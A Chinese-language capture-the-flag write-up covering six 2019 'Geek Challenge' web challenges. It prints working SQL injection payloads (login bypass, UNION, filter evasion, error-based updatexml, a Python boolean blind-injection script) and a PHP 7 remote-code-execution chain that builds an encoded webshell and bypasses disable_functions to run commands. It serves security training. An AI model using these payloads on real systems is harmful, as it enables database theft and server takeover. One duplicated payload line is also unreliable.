极客大挑战题目解析

极客大挑战题目解析

这里是极客大挑战五个sql注入题目的解析合集,都是常用的注入姿势,入门到基础级的。

[极客大挑战 2019]EasySQL

万能密码登录管理员账户即可,这里注意一下,万能密码用的时候注意是字符型还是整形,这个题是字符型,即:

-1' or '1'='1

如果是整形,则用万能密码:

-1' or 1=1

万能密码还有很多,可以参考网上的信息,这里有一个:https://www.cnblogs.com/pass-A/p/11134988.html

[极客大挑战 2019]LoveSQL

考察常见的万能密码登录以及union select注入

题目分析

进入题目看到是一个登录框,经过尝试发现字符型的万能密码1' or '1'='1可以登录,并且在usernamepassword处都存在注入点,然后进行常规的注入就行了。

解题

爆库:

/check.php?username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(schema_name)+from+information_schema.schemata%23


爆表名:

/check.php?username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)+from+information_schema.tables%20where%20table_schema%3Ddatabase()%20%23


可以看到一个表名l0ve1ysq1,flag应该在其中,那么就看一下这个表包含的列
爆列名:

/check.php?username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3D'l0ve1ysq1'%20%23


看到存在password列,flag应该在其中
查字段:

/check.php?username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23


如图,成功拿到flag。

[极客大挑战 2019]BabySQL

考察双写绕过

题目分析

在登陆窗口,利用万能密码的时候直接1' or '1'='1发现不行,但是1' oorr '1'='1可以,由此猜测考察双写绕过。
通过测试发现了orfromunionselectwhere被替换为空了,因此需要利用双写绕过。

解题

首先利用双写爆库:

/check.php?username=admin&password=admin' uniounionn selecselectt 1,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23


然后爆表名:

/check.php?username=admin&password=admin' uniounionn selecselectt 1,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23


爆列名:

/check.php?username=admin&password=admin' uniounionn selecselectt 1,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name%3D'b4bsql'%23


拿flag:

/check.php?username=admin&password=admin' uniounionn selecselectt 1,2,group_concat(passwoorrd)%20frfromom%20b4bsql%23

[极客大挑战 2019]HardSQL

主要考察报错注入,同时还考察对空格过滤的绕过,以及利用leftright截取函数读取完整flag。
关于报错注入的讲解,我的博客里还有,在标签里可以找到。

解题

本题学到了一个新点:^代替空格来连接updatexml函数。
首先拿库名:

/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)%23

注意这里的#一定要用urlencode之后的%23,否则会提示语法错误,也没搞清楚原因,可以参考一下这里,建议在对url进行操作的时候还是都先编码一下。
拿到库名:

爆表名:

/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1)%23

这里用到了like,可以参考一下这里

查列名

/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1)


拿flag,由于updtexml最多显示32个字符的长度,导致flag显示不全。可以用substr截取,但是发现substr被过滤了,然后参考网上学到了用leftright截取函数分两次把完整的flag查出来了。

/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1)%23
/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1)%23


[极客大挑战 2019]FinalSQL

考察布尔盲注

题目分析

进入题目发现多了五个按钮,并且提示中有SQL盲注的字样,猜测就是考它的了。
这里可以的地方就是五个按钮了,点击之后发现时用di传参,注入点多半在这里。由于这里传的值是1-5,猜测是布尔盲注,便用常用的姿势测试一下:构造id=1^1id=1^0发现回显不同,前者返回ERROR!!!(注意这里的返回跟其他错误不一样,其他错误回显是ERROR!)后者是id=1的页面,说明了就是布尔盲注。
关于布尔盲注可以参考这里
这里需要用到的函数如下:

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

那么构造类似id=1^(length(database())>10)^1的语句,便可以爆破出数据库名的长度,然后再利用id=1^(ascii(substr((select(database())),1,1))>100)^1payload来爆破出数据库名,同理可以爆破出表名和最后的flag。
布尔盲注一般都借助python脚本来解,大致的代码逻辑是一样的,这里贴出利用二分爆破的脚本,效率比较高:

import re
import requests
import string

url = "http://127.0.0.1/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0

return res

def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)

exp()
print('flag=',flag)

这个题比较坑的就是要读的内容很多,flag也在后面,加上服务器性能和网络性能的原因一直读不全内容,后来多次测试,flag大概在第170个字符后面,将i的起始大小改一下就行了。
脚本也可以用于其他布尔盲注的题目,根据题目特点更改即可。

[极客大挑战 2019]RCE ME

考察利用PHP 7函数解析特性绕过正则巧取webshell、利用环境变量绕过functions_disable。

题目分析

进入题目给出如下源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>

可以看到,需要绕过长度判断和正则,并且这个正则把所有字母和数字都在其中。查资料得知可以利用PHP 7的解析特性来绕过。

这就说明:

phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行

另外,之前刷题的一篇博客写到过,我们可以利用取反~来绕过对字符的过滤。在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有利用^~ 生成的不可见字符,这里更倾向于使用~求反运算符。

可以利用如下代码生成payload:

<?php
$shell = phpinfo;
echo urlencode(~$shell);
?>
%8F%97%8F%96%91%99%90

效果如下:

同时也可以看到禁用了很多函数,而assert不再其中,因此可以利用它来拿到shell,先放着。

下一步利用php的函数看一下目录:

print_r(scandir('./'));

编码之后为:

%8F%8D%96%91%8B%A0%8D # print_r
%8C%9C%9E%91%9B%96%8D # scandir

构造如下payload读取当前目录内容:

code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

根目录呢?

直接用readfile()读取flag文件是读不到的,因为是个二进制文件,那么就需要拿到shell执行readflag来拿到flag了。

而这题拿到shell可以利用前面提到的编码来获取,也可以用之前讲过的利用部分汉字异或来构造POSTGET传参来拿到shell,然后需要bypass functions_disable了。

解题

利用如下payload拿到shell:

code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

然后蚁剑连上,接下来就是利用环境变量bypass了,最近在不断收集bypass的exp,今天又找到一个

我们把exp中的bypass_disablefunc_x64.sobypass_disablefunc.php写入到/var/tmp路径下,然后利用如下payload访问:

code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/result&sopath=/var/tmp/bypass_disablefunc_x64.so

Comments


:D 一言句子获取中...

Loading...Wait a Minute!